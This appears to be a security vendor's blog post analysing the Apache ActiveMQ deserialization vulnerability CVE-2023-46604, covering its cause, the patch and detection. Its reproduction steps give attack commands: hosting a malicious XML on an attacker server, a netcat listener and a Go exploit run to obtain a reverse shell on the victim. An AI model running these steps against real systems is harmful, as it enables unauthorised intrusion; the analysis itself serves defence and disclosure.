Authors: Siddartha Malladi and Arpit Kataria
A critical vulnerability in Apache ActiveMQ, identified as CVE-2023–46604, has the cybersecurity community on high alert. Announced on Oct. 25, the flaw scored a maximum of 10.0 on the CVSS v3 scale, and attackers have been actively attempting to deploy HelloKitty ransomware on vulnerable systems.
The main issue causing this vulnerability is the system's failure to properly check the creation of throwable classes within ExceptionResponseMarshaller. This ExceptionResponse, designed for specific tasks, is exploited by attackers to unleash a chain reaction of events that ultimately lets them run any code they want on the system.
To effectively address this issue, the Apache ActiveMQ project introduced patches in versions 5.15.16, 5.16.7, 5.17.6, and 5.18.3. These patches have added an extra security check to ensure that only legitimate throwable classes are instantiated, thus preventing the execution of arbitrary code. It's crucial for organizations to promptly apply these patches and secure their systems against this severe vulnerability.
Apache ActiveMQ is a widely adopted open-source message broker. Notable names like Apache Camel, Red Hat AMQ, Amazon MQ, Apache TomEE, Eclipse, and Mule, to name a few, rely on ActiveMQ as the backbone of their messaging infrastructure.
Notably, this vulnerability is already being exploited in the wild. The recent HelloKitty ransomware attacks exploited this vulnerability, targeting outdated systems to execute arbitrary code through insecure deserialization. Attackers deployed ransomware via misleading .png files, using MSIExec for installation. Despite several failed attempts to encrypt data, the payload, a .NET DLL, successfully encrypted files and demanded contact through a specific email for ransom instructions. Rapid7’s investigation highlighted the ransomware’s process termination and encryption routines, identifying a command and control server IP and revealing the ransomware's avoidance of certain directories.
In this blog post, we are going to delve into a more detailed understanding of the exploitation mechanisms behind this vulnerability.
Technical details
First, let’s explore what is meant by serialization, deserialization, and insecure deserialization.
Serialization is the process of converting complex data structures or objects into a format that can be easily stored, transmitted, or reconstructed later. It allows data to be saved or shared between different systems or applications. Deserialization, on the other hand, is the reverse process of reconstructing data from its serialized form, enabling it to be used within a program or application.
Insecure deserialization occurs when data, often from an untrusted source, is deserialized without proper validation or security checks. This can lead to security vulnerabilities, as attackers may manipulate the deserialized data to execute malicious code, causing harm to the system or application.
So, the main cause of this vulnerability is a lack of validation in the deserialization process. Upon receiving a stream of data from the input, it goes through a critical process called unmarshalling, facilitated by the OpenWireFormat#doUnmarshal method. Unmarshalling is like the art of transforming incoming binary data into a more understandable and usable form. To perform this transformation, the process relies on an essential component known as the BaseDataStreamMarshaller. Think of the BaseDataStreamMarshaller as a data translator – it interprets and deciphers the incoming data, ensuring it can be used effectively within the system. Moreover, it equips the system to convert this data back into its original format when required, creating a seamless and efficient data handling process.
In Apache ActiveMQ, there are different kinds of DataStreamMarshallers, each designed for specific data types. The system figures out which marshaller to use by checking the DATA_STRUCTURE_TYPE that comes with the data. The vulnerability in ExceptionResponseMarshaller arises from its failure to validate the classes it creates from the ExceptionResponse data. This means an attacker can craft a fake throwable class and deceive the system into treating it as legitimate. When the system attempts to use this fraudulent class during deserialization, it unwittingly executes the attacker's malicious code.
ClassPathXmlApplicationContext is a potential and intriguing class that is an implementation of Spring's ApplicationContext and a stand-alone XML application context that serves as a container for different application-supporting objects. ClassPathXmlApplicationContext enables the setup of a Spring application using an XML file. When creating a new ClassPathXmlApplicationContext, a single string parameter specifies the location of the XML configuration file. This parameter can reference XML files containing Spring bean definitions, which, in a malicious situation, might be provided by an attacker.
But there is one problem, ClassPathXmlApplicationContext is not originally designed to be throwable, an attacker could potentially replace the local class definition with a malicious version and then proceed to package and transmit a harmful payload.
Once ClassPathXmlApplicationContext is in the attacker's control, the attacker can initialize a process using XML configuration.
Changes made to fix this vulnerability
In the latest product release, a significant enhancement has been introduced to fortify its security measures. A method, 'validateIsThrowable,' now resides within the BaseDataStreamMarshaller class. This method serves a pivotal role in ensuring the safety of the deserialization process. It thoroughly validates the class type, as it checks if a given class is assignable to Throwable. If this condition is not met, an explicit error is raised: "Class " + clazz + "is not assignable to Throwable." This strict validation process adds a robust layer of defense against potential vulnerabilities.
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}
Moreover, in the latest release, essential changes have been made to the deserialization process to enhance security. The tightUnmarshal and looseUnmarshal methods, which play a critical role in this process, have been refined. These methods now call tightMarshalThrowable and looseMarshalThrowable, contributing to an overall more secure system.
But the real standout feature is the createThrowable method within the BaseDataStreamMarshaller class. This method has an exceptional ability: it can activate the constructor of any class that requires a String parameter. This innovative function serves as a backbone for strengthening the product's security by ensuring the controlled creation of classes.
ExceptionResponseMarshaller is a crucial component responsible for handling ExceptionResponse objects during both the creation and interpretation phases. This class plays a pivotal role in ensuring that the product's communication and error management remain robust and secure.
Exploitation overview
The vulnerability permits an unauthorized entity to instantiate the ClassPathXmlApplicationContext class—a standard component of the Spring framework, which is inherently present in the ActiveMQ suite. This class is utilized for configuring Spring applications via XML files, which are essentially treated as serialized data streams. Instantiation of this class occurs through the constructor, which accepts a singular parameter: the URI of the XML configuration file.
XML configuration payload
The XML payload, designed to facilitate remote code execution, is as follows:
Reproduction steps
1. Payload configuration:- On the Attacker Machine, clone the repository provided at https://github.com/X1r0z/ActiveMQ-RCE.
- Update the poc.xml with the aforementioned XML configuration to tailor the payload for the target environment.
2. Payload hosting:
- Deploy a Python-based HTTP server to serve the malicious XML file, as demonstrated below:
python3 -m http.server 8000
Figure 1 - Hosting the malicious XML via Python HTTP server
3. Network configuration:
- Ensure that the Attacker and Victim machines are configured within the same NAT network.
4. Victim Machine setup:
- Execute the activemq.jar file on the victim machine to initiate the ActiveMQ service. (you can get it from here)
Figure 2 - Execution of activemq.jar on Victim Machine
5. Malicious XML retrieval:
- We can see the malicious serialized data by opening the browser and going to the url http://[Attacker IP:PORT NUMBER]/poc.xml (just to verify if it is hosted properly or not).
Figure 3 - Victim Machine accessing the malicious XML configuration
6. Exploitation execution:
- Back on the Attacker Machine, open one terminal and run the following command to start the listener on the chosen port using a tool like Netcat
nc -lvnp 1337 - Now open another terminal and execute the following command to start the exploit against the victim to get a reverse shell:
go run main.go -i [Victim IP] -u http://[Attacker IP:PORT NUMBER]/pox.xml
Figure 4 - Getting reverse shell upon successful execution
Detection through Uptycs XDR
Does your system have a vulnerable version of Apache ActiveMQ?
Uptycs Extended Detection and Response offers robust vulnerability scanning features for timely detection. Uptycs XDR stores vulnerability scan results in a dedicated table, accessible via SQL queries, as shown below:
select cve_list, package_name, package_version, cvss_score, os from vulnerabilities where cve_list = 'CVE-2023-46604'
Figure 5 - Detection through Vulnerability scan
Once the successful exploitation has occurred, Uptycs XDR can identify and detect the presence of a reverse shell, thereby indicating and confirming the compromise of the system or network.
Figure 6 - Behavioral detection of exploitation
Conclusion
In conclusion, the CVE-2023-46604 vulnerability in Apache ActiveMQ poses a significant threat with a perfect CVSS v3 score of 10.0. This critical flaw allows attackers to exploit insecure deserialization in the Openwire protocol, potentially leading to Remote Code Execution (RCE). The unvalidated instantiation of throwable classes within the ExceptionResponseMarshaller is the heart of the issue, making it imperative for users of Apache ActiveMQ to apply patches promptly and fortify their systems against potential exploitation. Staying proactive in addressing this vulnerability is crucial for maintaining the security of applications and systems reliant on Apache ActiveMQ.